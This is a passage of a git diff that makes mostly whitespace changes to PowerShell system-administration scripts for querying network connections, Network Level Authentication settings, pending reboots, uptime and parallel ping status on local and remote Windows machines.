a/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 b/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 index ead4a948..649fc03f 100644 --- a/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 +++ b/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 @@ -5,11 +5,11 @@ Function to retrieve the list of Type Accelerator available .EXAMPLE Get-NetFrameworkTypeAccelerator - + Return the list of Type Accelerator available on your system .EXAMPLE Get-Accelerator - + Return the list of Type Accelerator available on your system This is a function alias created by [Alias()] .NOTES diff --git a/TOOL-Get-NetStat/Get-NetStat.ps1 b/TOOL-Get-NetStat/Get-NetStat.ps1 index b6008810..4c46dc2c 100644 --- a/TOOL-Get-NetStat/Get-NetStat.ps1 +++ b/TOOL-Get-NetStat/Get-NetStat.ps1 @@ -16,19 +16,19 @@ { # Get the output of netstat $data = netstat -n - + # Keep only the line with the data (we remove the first lines) $data = $data[4..$data.count] - + # Each line need to be splitted and get rid of unnecessary spaces foreach ($line in $data) { # Get rid of the first whitespaces, at the beginning of the line $line = $line -replace '^\s+', '' - + # Split each property on whitespaces block $line = $line -split '\s+' - + # Define the properties $properties = @{ Protocole = $line[0] @@ -38,7 +38,7 @@ ForeignAddressPort = ($line[2] -split ":")[1] State = $line[3] } - + # Output the current line New-Object -TypeName PSObject -Property $properties } diff --git a/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 b/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 index 58086c08..312208b1 100644 --- a/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 +++ b/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 @@ -15,7 +15,7 @@ function Get-NetworkLevelAuthentication .EXAMPLE Get-NetworkLevelAuthentication - + This will get the NLA setting on the localhost ComputerName : XAVIERDESKTOP @@ -26,7 +26,7 @@ function Get-NetworkLevelAuthentication .EXAMPLE Get-NetworkLevelAuthentication -ComputerName DC01 - + This will get the NLA setting on the server DC01 ComputerName : DC01 @@ -37,25 +37,25 @@ function Get-NetworkLevelAuthentication .EXAMPLE Get-NetworkLevelAuthentication -ComputerName DC01, SERVER01 -verbose - + This will get the NLA setting on the servers DC01 and the SERVER01 .EXAMPLE Get-Content .\Computers.txt | Get-NetworkLevelAuthentication -verbose - + This will get the NLA setting for all the computers listed in the file Computers.txt - + .EXAMPLE Get-NetworkLevelAuthentication -ComputerName (Get-Content -Path .\Computers.txt) - + This will get the NLA setting for all the computers listed in the file Computers.txt - + .NOTES DATE : 2014/04/01 AUTHOR : Francois-Xavier Cat WWW : http://lazywinadmin.com Twitter : @lazywinadm - + Article : http://lazywinadmin.com/2014/04/powershell-getset-network-level.html GitHub : https://github.com/lazywinadmin/PowerShell #> @@ -64,7 +64,7 @@ function Get-NetworkLevelAuthentication PARAM ( [Parameter(ValueFromPipeline)] [String[]]$ComputerName = $env:ComputerName, - + [Alias("RunAs")] [System.Management.Automation.Credential()] $Credential = [System.Management.Automation.PSCredential]::Empty @@ -87,7 +87,7 @@ function Get-NetworkLevelAuthentication } } }#BEGIN - + PROCESS { FOREACH ($Computer in $ComputerName) @@ -100,17 +100,17 @@ function Get-NetworkLevelAuthentication ErrorAction = 'Stop' ErrorVariable = 'ProcessError' } - + # Add Credential if specified when calling the function IF ($PSBoundParameters['Credential']) { $CIMSessionParams.credential = $Credential } - + # Connectivity Test Write-Verbose -Message "PROCESS - $Computer - Testing Connection..." Test-Connection -ComputerName $Computer -count 1 -ErrorAction Stop -ErrorVariable ErrorTestConnection | Out-Null - + # CIM/WMI Connection # WsMAN IF ((Test-WSMan -ComputerName $Computer -ErrorAction SilentlyContinue).productversion -match 'Stack: 3.0') @@ -120,7 +120,7 @@ function Get-NetworkLevelAuthentication $CimProtocol = $CimSession.protocol Write-Verbose -message "PROCESS - $Computer - [$CimProtocol] CIM SESSION - Opened" } - + # DCOM ELSE { @@ -131,7 +131,7 @@ function Get-NetworkLevelAuthentication $CimProtocol = $CimSession.protocol Write-Verbose -message "PROCESS - $Computer - [$CimProtocol] CIM SESSION - Opened" } - + # Getting the Information on Terminal Settings Write-Verbose -message "PROCESS - $Computer - [$CimProtocol] CIM SESSION - Get the Terminal Services Information" $NLAinfo = Get-CimInstance -CimSession $CimSession -ClassName Win32_TSGeneralSetting -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'" @@ -143,7 +143,7 @@ function Get-NetworkLevelAuthentication 'Transport' = $NLAinfo.transport } } - + CATCH { Write-Warning -Message "PROCESS - Error on $Computer" @@ -155,7 +155,7 @@ function Get-NetworkLevelAuthentication }#PROCESS END { - + if ($CimSession) { Write-Verbose -Message "END - Close CIM Session(s)" diff --git a/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 b/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 index dc855dff..4b5a95d0 100644 --- a/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 +++ b/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 @@ -3,18 +3,18 @@ function Get-PSObjectEmptyOrNullProperty <# .SYNOPSIS Function to Get all the empty or null properties with empty value in a PowerShell Object - + .DESCRIPTION Function to Get all the empty or null properties with empty value in a PowerShell Object. I used this function in a System Center Orchestrator where I had a runbook that could update most of the important properties of a user. Using this function I knew which properties were not be updated. - + .PARAMETER PSObject Specifies the PowerShell Object - + .EXAMPLE PS C:\> Get-PSObjectEmptyOrNullProperty -PSObject $UserInfo - + .EXAMPLE # Create a PowerShell Object with some properties @@ -22,7 +22,7 @@ function Get-PSObjectEmptyOrNullProperty $o.firstname='Nom' $o.lastname='' $o.nullable=$null - + # Look for empty or null properties Get-PSObjectEmptyOrNullProperty -PSObject $o diff --git a/TOOL-Get-PendingReboot/Get-PendingReboot.ps1 b/TOOL-Get-PendingReboot/Get-PendingReboot.ps1 index 245d096d..0bfcb3ce 100644 --- a/TOOL-Get-PendingReboot/Get-PendingReboot.ps1 +++ b/TOOL-Get-PendingReboot/Get-PendingReboot.ps1 @@ -3,42 +3,42 @@ <# .SYNOPSIS Gets the pending reboot status on a local or remote computer. - + .DESCRIPTION This function will query the registry on a local or remote computer and determine if the system is pending a reboot, from either Microsoft Patching or a Software Installation. For Windows 2008+ the function will query the CBS registry key as another factor in determining pending reboot state. "PendingFileRenameOperations" and "Auto Update\RebootRequired" are observed as being consistant across Windows Server 2003 & 2008. - + CBServicing = Component Based Servicing (Windows 2008) WindowsUpdate = Windows Update / Auto Update (Windows 2003 / 2008) CCMClientSDK = SCCM 2012 Clients only (DetermineIfRebootPending method) otherwise $null value PendFileRename = PendingFileRenameOperations (Windows 2003 / 2008) - + .PARAMETER ComputerName A single Computer or an array of computer names. The default is localhost ($env:COMPUTERNAME). - + .PARAMETER ErrorLog A single path to send error data to a log file. - + .EXAMPLE PS C:\> Get-PendingReboot -ComputerName (Get-Content C:\ServerList.txt) | Format-Table -AutoSize - + Computer CBServicing WindowsUpdate CCMClientSDK PendFileRename PendFileRenVal RebootPending -------- ----------- ------------- ------------ -------------- -------------- ------------- DC01 False False False False DC02 False False False False FS01 False False False False - + This example will capture the contents of C:\ServerList.txt and query the pending reboot information from the systems contained in the file and display the output in a table. The null values are by design, since these systems do not have the SCCM 2012 client installed, nor was the PendingFileRenameOperations value populated. - + .EXAMPLE PS C:\> Get-PendingReboot - + Computer : WKS01 CBServicing : False WindowsUpdate : True @@ -47,27 +47,27 @@ PendFileRename : False PendFileRenVal : RebootPending : True - + This example will query the local machine for pending reboot information. - + .EXAMPLE PS C:\> $Servers = Get-Content C:\Servers.txt PS C:\> Get-PendingReboot -Computer $Servers | Export-Csv C:\PendingRebootReport.csv -NoTypeInformation - + This example will create a report that contains pending reboot information. - + .LINK Component-Based Servicing: http://technet.microsoft.com/en-us/library/cc756291(v=WS.10).aspx - + PendingFileRename/Auto Update: http://support.microsoft.com/kb/2723674 http://technet.microsoft.com/en-us/library/cc960241.aspx http://blogs.msdn.com/b/hansr/archive/2006/02/17/patchreboot.aspx - + SCCM 2012/CCM_ClientSDK: http://msdn.microsoft.com/en-us/library/jj902723.aspx - + .NOTES Author: Brian Wilhite Email: bcwilhite (at) live.com @@ -83,16 +83,16 @@ Removed .Net Registry connection, replaced with WMI StdRegProv Added ComputerPendingRename #> - + [CmdletBinding()] param ( [Parameter(Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true)] [Alias("CN", "Computer")] [String[]]$ComputerName = "$env:COMPUTERNAME", - + [String]$ErrorLog ) - + Begin { } ## End Begin Script Block Process { @@ -102,32 +102,32 @@ { ## Setting pending values to false to cut down on the number of else statements $CompPendRen, $PendFileRename, $Pending, $SCCM = $false, $false, $false, $false - + ## Setting CBSRebootPend to null since not all versions of Windows has this value $CBSRebootPend = $null - + ## Querying WMI for build version $WMI_OS = Get-WmiObject -Class Win32_OperatingSystem -Property BuildNumber, CSName -ComputerName $Computer -ErrorAction Stop - + ## Making registry connection to the local/remote computer $HKLM = [UInt32] "0x80000002" $WMI_Reg = [WMIClass] "\\$Computer\root\default:StdRegProv" - + ## If Vista/2008 & Above query the CBS Reg Key If ([Int32]$WMI_OS.BuildNumber -ge 6001) { $RegSubKeysCBS = $WMI_Reg.EnumKey($HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\") $CBSRebootPend = $RegSubKeysCBS.sNames -contains "RebootPending" } - + ## Query WUAU from the registry $RegWUAURebootReq = $WMI_Reg.EnumKey($HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\") $WUAURebootReq = $RegWUAURebootReq.sNames -contains "RebootRequired" - + ## Query PendingFileRenameOperations from the registry $RegSubKeySM = $WMI_Reg.GetMultiStringValue($HKLM, "SYSTEM\CurrentControlSet\Control\Session Manager\", "PendingFileRenameOperations") $RegValuePFRO = $RegSubKeySM.sValue - + ## Query ComputerName and ActiveComputerName from the registry $ActCompNm = $WMI_Reg.GetStringValue($HKLM, "SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName\", "ComputerName") $CompNm = $WMI_Reg.GetStringValue($HKLM, "SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\", "ComputerName") @@ -135,13 +135,13 @@ { $CompPendRen = $true } - + ## If PendingFileRenameOperations has a value set $RegValuePFRO variable to $true If ($RegValuePFRO) { $PendFileRename = $true } - + ## Determine SCCM 2012 Client Reboot Pending Status ## To avoid nested 'if' statements and unneeded WMI calls to determine if the CCM_ClientUtilities class exist, setting EA = 0 $CCMClientSDK = $null @@ -169,7 +169,7 @@ { $CCMClientSDK = $null } - + If ($CCMClientSDK) { If ($CCMClientSDK.ReturnValue -ne 0) @@ -181,12 +181,12 @@ $SCCM = $true } } - + Else { $SCCM = $null } - + ## Creating Custom PSObject and Select-Object Splat $SelectSplat = @{ Property = ( @@ -210,7 +210,7 @@ PendFileRenVal = $RegValuePFRO RebootPending = ($CompPendRen -or $CBSRebootPend -or $WUAURebootReq -or $SCCM -or $PendFileRename) } | Select-Object @SelectSplat - + } Catch { @@ -223,7 +223,7 @@ } } ## End Foreach ($Computer in $ComputerName) } ## End Process - + End { } ## End End - + } ## End Function Get-PendingReboot \ No newline at end of file diff --git a/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 b/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 index 9f903e0c..68171034 100644 --- a/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 +++ b/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 @@ -3,28 +3,28 @@ <# .SYNOPSIS Get all foreignIPAddress for all or specific processname - + .DESCRIPTION Get all foreignIPAddress for all or specific processname - + .PARAMETER ProcessName Specifies the ProcessName to filter on - + .EXAMPLE Get-ProcessForeignAddress - + Retrieve all the foreign addresses - + .EXAMPLE Get-ProcessForeignAddress chrome - + Show all the foreign address(es) for the process chrome - + .EXAMPLE Get-ProcessForeignAddress chrome | select ForeignAddress -Unique - + Show all the foreign address(es) for the process chrome and show only the ForeignAddress(es) once - + .NOTES Author : Francois-Xavier Cat Website : www.lazywinadmin.com @@ -33,11 +33,11 @@ #> PARAM ($ProcessName) $netstat = netstat -no - + $Result = $netstat[4..$netstat.count] | ForEach-Object { $current = $_.trim() -split '\s+' - + New-Object -TypeName PSobject -Property @{ ProcessName = (Get-Process -id $current[4]).processname ForeignAddressIP = ($current[2] -split ":")[0] #-as [ipaddress] @@ -45,7 +45,7 @@ State = $current[3] } } - + if ($ProcessName) { $result | Where-Object { $_.processname -like "$processname" } diff --git a/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 b/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 index 53135a72..eeb70170 100644 --- a/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 +++ b/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 @@ -3,17 +3,17 @@ <# .SYNOPSIS Function to retrieve the aliases inside a Powershell script file. - + .DESCRIPTION Function to retrieve the aliases inside a Powershell script file. Using PowerShell AST Parser we are able to retrieve the functions and cmdlets used in the script. - + .PARAMETER Path Specifies the path of the script - + .EXAMPLE Get-ScriptAlias -Path "C:\LazyWinAdmin\testscript.ps1" - + .EXAMPLE "C:\LazyWinAdmin\testscript.ps1" | Get-ScriptAlias @@ -41,18 +41,18 @@ { # Retrieve file content $ScriptContent = (Get-Content $File -Delimiter $([char]0)) - + # AST Parsing $AbstractSyntaxTree = [System.Management.Automation.Language.Parser]:: ParseInput($ScriptContent, [ref]$null, [ref]$null) - + # Find Aliases $AbstractSyntaxTree.FindAll({ $args[0] -is [System.Management.Automation.Language.CommandAst] }, $true) | ForEach-Object -Process { $Command = $_.CommandElements[0] if ($Alias = Get-Alias | Where-Object { $_.Name -eq $Command }) { - + # Output information [PSCustomObject]@{ File = $File @@ -64,7 +64,7 @@ EndColumnNumber = $Command.Extent.EndColumnNumber StartOffset = $Command.Extent.StartOffset EndOffset = $Command.Extent.EndOffset - + }#[PSCustomObject] }#if ($Alias) }#ForEach-Object diff --git a/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 b/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 index bc176933..4ec41c00 100644 --- a/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 +++ b/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 @@ -7,7 +7,7 @@ This function will count the number of characters in a string .EXAMPLE PS C:\> Get-StringCharCount -String "Hello World" - + 11 .NOTES Francois-Xavier Cat diff --git a/TOOL-Get-Uptime/Get-Uptime.ps1 b/TOOL-Get-Uptime/Get-Uptime.ps1 index 0f5863ee..7aa08152 100644 --- a/TOOL-Get-Uptime/Get-Uptime.ps1 +++ b/TOOL-Get-Uptime/Get-Uptime.ps1 @@ -3,32 +3,32 @@ <# .SYNOPSIS The function Get-Uptime will get uptime of a local or remote machine. - + .DESCRIPTION The function Get-Uptime will get uptime of a local or remote machine. This function is compatible with CIM sessions and alternative credentials. - + .PARAMETER ComputerName Specifies the computername - + .PARAMETER Credential Specifies the credential to use - + .PARAMETER CimSession Specifies one or more existing CIM Session(s) to use - + .EXAMPLE PS C:\> Get-Uptime -ComputerName DC01 - + .EXAMPLE PS C:\> Get-Uptime -ComputerName DC01 -Credential (Get-Credential -cred "FX\SuperAdmin") - + .EXAMPLE PS C:\> Get-Uptime -CimSession $Session - + .EXAMPLE PS C:\> Get-Uptime -CimSession $Session1,$session2,$session3 - + .NOTES Francois-Xavier Cat @lazywinadm @@ -42,12 +42,12 @@ ValueFromPipelineByPropertyName = $True)] [Alias("CN", "__SERVER", "PSComputerName")] [String[]]$ComputerName=$env:COMPUTERNAME, - + [Parameter(ParameterSetName = "Main")] [Alias("RunAs")] [System.Management.Automation.Credential()] $Credential = [System.Management.Automation.PSCredential]::Empty, - + [Parameter(ParameterSetName = "CimSession")] [Microsoft.Management.Infrastructure.CimSession[]]$CimSession ) @@ -63,7 +63,7 @@ Helper Function to show default message used in VERBOSE/DEBUG/WARNING and... HOST in some case. This is helpful to standardize the output messages - + .PARAMETER Message Specifies the message to show .NOTES @@ -84,7 +84,7 @@ FOREACH ($Cim in $CimSession) { $CIMComputer = $($Cim.ComputerName).ToUpper() - + TRY { # Parameters for Get-CimInstance @@ -94,14 +94,14 @@ ErrorAction = 'Stop' ErrorVariable = "ErrorProcessGetCimInstance" } - - + + Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - Get-Uptime") $CimResult = Get-CimInstance @CIMSplatting - + # Prepare output $Uptime = New-TimeSpan -Start $($CimResult.lastbootuptime) -End (get-date) - + $Properties = @{ ComputerName = $CIMComputer Days = $Uptime.days @@ -110,10 +110,10 @@ Seconds = $Uptime.seconds LastBootUpTime = $CimResult.lastbootuptime } - + # Output the information New-Object -TypeName PSObject -Property $Properties - + } CATCH { @@ -132,7 +132,7 @@ FOREACH ($Computer in $ComputerName) { $Computer = $Computer.ToUpper() - + TRY { Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") @@ -144,20 +144,20 @@ ErrorAction = 'Stop' ErrorVariable = 'ErrorProcessGetWmi' } - + IF ($PSBoundParameters['Credential']) { $Splatting.credential = $Credential } - + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Getting Uptime") $result = Get-WmiObject @Splatting - - + + # Prepare output $HumanTimeFormat = $Result.ConvertToDateTime($Result.Lastbootuptime) $Uptime = New-TimeSpan -Start $HumanTimeFormat -End $(get-date) - + $Properties = @{ ComputerName = $Computer Days = $Uptime.days diff --git a/TOOL-Invoke-Ping/Invoke-Ping.ps1 b/TOOL-Invoke-Ping/Invoke-Ping.ps1 index b27d44d7..88305856 100644 --- a/TOOL-Invoke-Ping/Invoke-Ping.ps1 +++ b/TOOL-Invoke-Ping/Invoke-Ping.ps1 @@ -3,7 +3,7 @@ Function Invoke-Ping <# .SYNOPSIS Ping or test connectivity to systems in parallel - + .DESCRIPTION Ping or test connectivity to systems in parallel @@ -49,7 +49,7 @@ Function Invoke-Ping .EXAMPLE $Responding = $Computers | Invoke-Ping -Quiet - + # Create a list of computers that successfully responded to Test-Connection .LINK @@ -57,7 +57,7 @@ Function Invoke-Ping .FUNCTIONALITY Computers - + .NOTES Warren F http://ramblingcookiemonster.github.io/Invoke-Ping/ @@ -69,23 +69,23 @@ Function Invoke-Ping ValueFromPipelineByPropertyName = $true, Position = 0)] [string[]]$ComputerName, - + [Parameter(ParameterSetName = 'Detail')] [validateset("*", "WSMan", "RemoteReg", "RPC", "RDP", "SMB")] [string[]]$Detail, - + [Parameter(ParameterSetName = 'Ping')] [switch]$Quiet, - + [int]$Timeout = 20, - + [int]$Throttle = 100, - + [switch]$NoCloseOnTimeout ) Begin { - + #http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430 function Invoke-Parallel { @@ -93,40 +93,40 @@ Function Invoke-Ping Param ( [Parameter(Mandatory = $false, position = 0, ParameterSetName = 'ScriptBlock')] [System.Management.Automation.ScriptBlock]$ScriptBlock, - + [Parameter(Mandatory = $false, ParameterSetName = 'ScriptFile')] [ValidateScript({ test-path $_ -pathtype leaf })] $ScriptFile, - + [Parameter(Mandatory = $true, ValueFromPipeline = $true)] [Alias('CN', '__Server', 'IPAddress', 'Server', 'ComputerName')] [PSObject]$InputObject, - + [PSObject]$Parameter, - + [switch]$ImportVariables, - + [switch]$ImportModules, - + [int]$Throttle = 20, - + [int]$SleepTimer = 200, - + [int]$RunspaceTimeout = 0, - + [switch]$NoCloseOnTimeout = $false, - + [int]$MaxQueue, - + [validatescript({ Test-Path (Split-Path $_ -parent) })] [string]$LogFile = "C:\temp\log.log", - + [switch]$Quiet = $false ) - + Begin { - + #No max queue specified? Estimate one. #We use the script scope to resolve an odd PowerShell 2 issue where MaxQueue isn't seen later in the function if (-not $PSBoundParameters.ContainsKey('MaxQueue')) @@ -138,22 +138,22 @@ Function Invoke-Ping { $script:MaxQueue = $MaxQueue } - + Write-Verbose "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue' logFile '$logFile'" - + #If they want to import variables or modules, create a clean runspace, get loaded items, use those to exclude items if ($ImportVariables -or $ImportModules) { $StandardUserEnv = [powershell]::Create().addscript({ - + #Get modules and snapins in this clean runspace $Modules = Get-Module | Select -ExpandProperty Name $Snapins = Get-PSSnapin | Select -ExpandProperty Name - + #Get variables in this clean runspace #Called last to get vars like $? into session $Variables = Get-Variable | Select -ExpandProperty Name - + #Return a hashtable where we can access each. @{ Variables = $Variables @@ -161,7 +161,7 @@ Function Invoke-Ping Snapins = $Snapins } }).invoke()[0] - + if ($ImportVariables) { #Exclude common parameters, bound parameters, and automatic variables @@ -169,38 +169,38 @@ Function Invoke-Ping param () } $VariablesToExclude = @((Get-Command _temp | Select -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables) Write-Verbose "Excluding variables $(($VariablesToExclude | sort) -join ", ")" - + # we don't use 'Get-Variable -Exclude', because it uses regexps. # One of the veriables that we pass is '$?'. # There could be other variables with such problems. # Scope 2 required if we move to a real module $UserVariables = @(Get-Variable | Where { -not ($VariablesToExclude -contains $_.Name) }) Write-Verbose "Found variables to import: $(($UserVariables | Select -expandproperty Name | Sort) -join ", " | Out-String).`n" - + } - + if ($ImportModules) { $UserModules = @(Get-Module | Where { $StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path $_.Path -ErrorAction SilentlyContinue) } | Select -ExpandProperty Path) $UserSnapins = @(Get-PSSnapin | Select -ExpandProperty Name | Where { $StandardUserEnv.Snapins -notcontains $_ }) } } - + #region functions - + Function Get-RunspaceData { [cmdletbinding()] param ([switch]$Wait) - + #loop through runspaces #if $wait is specified, keep looping until all complete Do { - + #set more to false for tracking completion $more = $false - + #Progress bar if we have inputobject count (bound parameter) if (-not $Quiet) { @@ -209,32 +209,32 @@ Function Invoke-Ping -PercentComplete $(Try { $script:completedCount / $totalCount * 100 } Catch { 0 }) } - + #run through each runspace. Foreach ($runspace in $runspaces) { - + #get the duration - inaccurate $currentdate = Get-Date $runtime = $currentdate - $runspace.startTime $runMin = [math]::Round($runtime.totalminutes, 2) - + #set up log object $log = "" | select Date, Action, Runtime, Status, Details $log.Action = "Removing:'$($runspace.object)'" $log.Date = $currentdate $log.Runtime = "$runMin minutes" - + #If runspace completed, end invoke, dispose, recycle, counter++ If ($runspace.Runspace.isCompleted) { - + $script:completedCount++ - + #check if there were errors if ($runspace.powershell.Streams.Error.Count -gt 0) { - + #set the logging info and move the file to completed $log.status = "CompletedWithErrors" Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] @@ -245,74 +245,74 @@ Function Invoke-Ping } else { - + #add logging details and cleanup $log.status = "Completed" Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] } - + #everything is logged, clean up the runspace $runspace.powershell.EndInvoke($runspace.Runspace) $runspace.powershell.dispose() $runspace.Runspace = $null $runspace.powershell = $null - + } - + #If runtime exceeds max, dispose the runspace ElseIf ($runspaceTimeout -ne 0 -and $runtime.totalseconds -gt $runspaceTimeout) { - + $script:completedCount++ $timedOutTasks = $true - + #add logging details and cleanup $log.status = "TimedOut" Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] Write-Error "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | out-string)" - + #Depending on how it hangs, we could still get stuck here as dispose calls a synchronous method on the powershell instance if (!$noCloseOnTimeout) { $runspace.powershell.dispose() } $runspace.Runspace = $null $runspace.powershell = $null $completedCount++ - + } - + #If runspace isn't null set more to true ElseIf ($runspace.Runspace -ne $null) { $log = $null $more = $true } - + #log the results if a log file was indicated if ($logFile -and $log) { ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] | out-file $LogFile -append } } - + #Clean out unused runspace jobs $temphash = $runspaces.clone() $temphash | Where { $_.runspace -eq $Null } | ForEach { $Runspaces.remove($_) } - + #sleep for a bit if we will loop again if ($PSBoundParameters['Wait']) { Start-Sleep -milliseconds $SleepTimer } - + #Loop again only if -wait parameter and there are more runspaces to process } while ($more -and $PSBoundParameters['Wait']) - + #End of runspace function } - + #endregion functions - + #region Init - + if ($PSCmdlet.ParameterSetName -eq 'ScriptFile') { $ScriptBlock = [scriptblock]::Create($(Get-Content $ScriptFile | out-string)) @@ -325,18 +325,18 @@ Function Invoke-Ping { $ParamsToAdd += '$Parameter' } - + $UsingVariableData = $Null - - + + # This code enables $Using support through the AST. # This is entirely from Boe Prox, and his https://github.com/proxb/PoshRSJob module; all credit to Boe! - + if ($PSVersionTable.PSVersion.Major -gt 2) { #Extract using references $UsingVariables = $ScriptBlock.ast.FindAll({ $args[0] -is [System.Management.Automation.Language.UsingExpressionAst] }, $True) - + If ($UsingVariables) { $List = New-Object 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]' @@ -344,9 +344,9 @@ Function Invoke-Ping { [void]$list.Add($Ast.SubExpression) } - + $UsingVar = $UsingVariables | Group Parent | ForEach { $_.Group | Select -First 1 } - + #Extract the name, value, and create replacements for each $UsingVariableData = ForEach ($Var in $UsingVar) { @@ -367,30 +367,30 @@ Function Invoke-Ping Write-Error "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!" } } - + $NewParams = $UsingVariableData.NewName -join ', ' $Tuple = [Tuple]::Create($list, $NewParams) $bindingFlags = [Reflection.BindingFlags]"Default,NonPublic,Instance" $GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl', $bindingFlags)) - + $StringScriptBlock = $GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast, @($Tuple)) - + $ScriptBlock = [scriptblock]::Create($StringScriptBlock) - + Write-Verbose $StringScriptBlock } } - + $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ", "))`r`n" + $Scriptblock.ToString()) } else { Throw "Must provide ScriptBlock or ScriptFile"; Break } - + Write-Debug "`$ScriptBlock: $($ScriptBlock | Out-String)" Write-Verbose "Creating runspace pool and session states" - + #If specified, add variables and modules/snapins to session state $sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() if ($ImportVariables) @@ -420,14 +420,14 @@ Function Invoke-Ping } } } - + #Create runspace pool $runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host) $runspacepool.Open() - + Write-Verbose "Creating empty collection to hold runspace jobs" $Script:runspaces = New-Object System.Collections.ArrayList - + #If inputObject is bound get a total count and set bound to true $global:__bound = $false $allObjects = @() @@ -435,14 +435,14 @@ Function Invoke-Ping { $global:__bound = $true } - + #Set up log file if specified if ($LogFile) { New-Item -ItemType file -path $logFile -force | Out-Null ("" | Select Date, Action, Runtime, Status, Details | ConvertTo-Csv -NoTypeInformation -Delimiter ";")[0] | Out-File $LogFile } - + #write initial log entry $log = "" | Select Date, Action, Runtime, Status, Details $log.Date = Get-Date @@ -454,15 +454,15 @@ Function Invoke-Ping { ($log | convertto-csv -Delimiter ";" -NoTypeInformation)[1] | Out-File $LogFile -Append } - + $timedOutTasks = $false - + #endregion INIT } - + Process { - + #add piped objects to all objects or set all objects to bound input object parameter if (-not $global:__bound) { @@ -473,10 +473,10 @@ Function Invoke-Ping $allObjects = $InputObject } } - + End { - + #Use Try/Finally to catch Ctrl+C and clean up. Try { @@ -484,27 +484,27 @@ Function Invoke-Ping $totalCount = $allObjects.count $script:completedCount = 0 $startedCount = 0 - + foreach ($object in $allObjects) { - + #region add scripts to runspace pool - + #Create the powershell instance, set verbose if needed, supply the scriptblock and parameters $powershell = [powershell]::Create() - + if ($VerbosePreference -eq 'Continue') { [void]$PowerShell.AddScript({ $VerbosePreference = 'Continue' }) } - + [void]$PowerShell.AddScript($ScriptBlock).AddArgument($object) - + if ($parameter) { [void]$PowerShell.AddArgument($parameter) } - + # $Using support from Boe Prox if ($UsingVariableData) { @@ -514,57 +514,57 @@ Function Invoke-Ping [void]$PowerShell.AddArgument($UsingVariable.Value) } } - + #Add the runspace into the powershell instance $powershell.RunspacePool = $runspacepool - + #Create a temporary collection for each runspace $temp = "" | Select-Object PowerShell, StartTime, object, Runspace $temp.PowerShell = $powershell $temp.StartTime = Get-Date $temp.object = $object - + #Save the handle output when calling BeginInvoke() that will be used later to end the runspace $temp.Runspace = $powershell.BeginInvoke() $startedCount++ - + #Add the temp tracking info to $runspaces collection Write-Verbose ("Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring()) $runspaces.Add($temp) | Out-Null - + #loop through existing runspaces one time Get-RunspaceData - + #If we have more running than max queue (used to control timeout accuracy) #Script scope resolves odd PowerShell 2 issue $firstRun = $true while ($runspaces.count -ge $Script:MaxQueue) { - + #give verbose output if ($firstRun) { Write-Verbose "$($runspaces.count) items running - exceeded $Script:MaxQueue limit." } $firstRun = $false - + #run get-runspace data and sleep for a short while Get-RunspaceData Start-Sleep -Milliseconds $sleepTimer - + } - + #endregion add scripts to runspace pool } - + Write-Verbose ("Finish processing the remaining runspace jobs: {0}" -f (@($runspaces | Where { $_.Runspace -ne $Null }).Count)) Get-RunspaceData -wait - + if (-not $quiet) { Write-Progress -Activity "Running Query" -Status "Starting threads" -Completed } - + } 